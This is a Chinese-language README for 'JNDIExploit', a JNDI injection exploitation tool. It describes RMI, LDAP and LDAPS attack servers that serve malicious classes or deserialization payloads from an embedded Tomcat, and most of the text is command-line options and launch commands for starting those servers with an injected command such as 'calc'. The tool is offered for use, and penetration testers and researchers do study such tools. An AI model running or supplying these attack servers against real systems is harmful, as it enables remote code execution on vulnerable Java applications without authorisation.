JNDIExploit是一个JNDI注入漏洞利用工具,具体的介绍文章在:https://www.luc1fer.cn/2024/10/28/JNDI%E6%B3%A8%E5%85%A5/
JNDIExploit集成了RMI(Reference、本地工厂类)、LDAP(Reference、反序列化)、LDAPS(Reference、反序列化)等攻击服务,目前在RMI攻击本地工厂类中仅内置了BeanFactory+EL表达式注入这一种攻击方式,后续还会继续完善。LDAP以及LDAPS服务中的反序列化可以指定payload文件,之后会将ysoSerial内置到项目中来。
在JNDIExploit中,使用ASM框架通过修改Exploit恶意类中的属性动态的将命令注入进去,之后将该恶意文件放到内嵌的tomcat web服务器中。但是这种方式可能在每次想要修改命令时重启服务端,所以之后可能会通过LDAP拦截器重新写该功能,真正实现运行一次服务端通过恶意地址动态生成恶意文件。
最好使用JDK8运行该项目!
使用方法:
Usage: java -jar jndiExploit.jar [options]
Options:
--cmd, -c
设置执行命令,默认命令whoami
Default: whoami
--domain, -d
设置ldaps所使用域名
--factory, -fl
设置所攻击的工厂类链
--file, -f
设置序列化文件位置
--help, -h
查看帮助信息
Default: false
--hport, -hp
设置恶意文件服务端口,如果不设置即为默认端口8888
Default: 8888
--ip, -i
设置服务ip
--keyStorePath, -k
设置ldaps keystore 所在路径,目前只支持p12/JKS
--password, -pa
设置ldaps keystore 所设置的密码
--port, -p
设置协议端口,如果不设置即为默认端口,rmi:1099/ldap:3890
--type, -t
设置jndi注入协议:rmi/ldap/ldapl
Default: rmi
- 启动RMI(Reference)服务(修改默认端口 -p xxx 修改tomcat端口 -hp xxx)
java -jar JNDIExploit.jar -i 127.0.0.1 -t rmi -c "calc"
如果不输入ip,默认赋值为0.0.0.0
- 启动LDAP(Reference)服务
java -jar JNDIExploit.jar -i 127.0.0.1 -t ldap -c "calc"
- 启动LDAP(反序列化)服务
java -jar JNDIExploit.jar -t ldapser -f "D:/javaCode/RmiStudy/cc2.ser" -i 127.0.0.1
- 启动RMI(本地工厂类)服务(这里无法注入具体的命令之后会增加该功能)
java -jar JNDIExploit.jar -t rmilocal --factory "BeanFactoryEL" -i 127.0.0.1
- 启动LDAPS(Reference)服务
java -jar JNDIExploit.jar -t ldaps --domain xxx.xxx.xxx --keyStorePath "D:/xxx/xxx/xxx.jks" --password "xxxxxx" -c "calc"
- 启动LDAPS(反序列化)服务
java -jar JNDIExploit.jar -t ldapsser --domain xxx.xxx.xxx --keyStorePath "D:/xxx/xxx/xxx.jks" --password "xxxxxx" -f "D:/xxx/xxx/xxx.ser"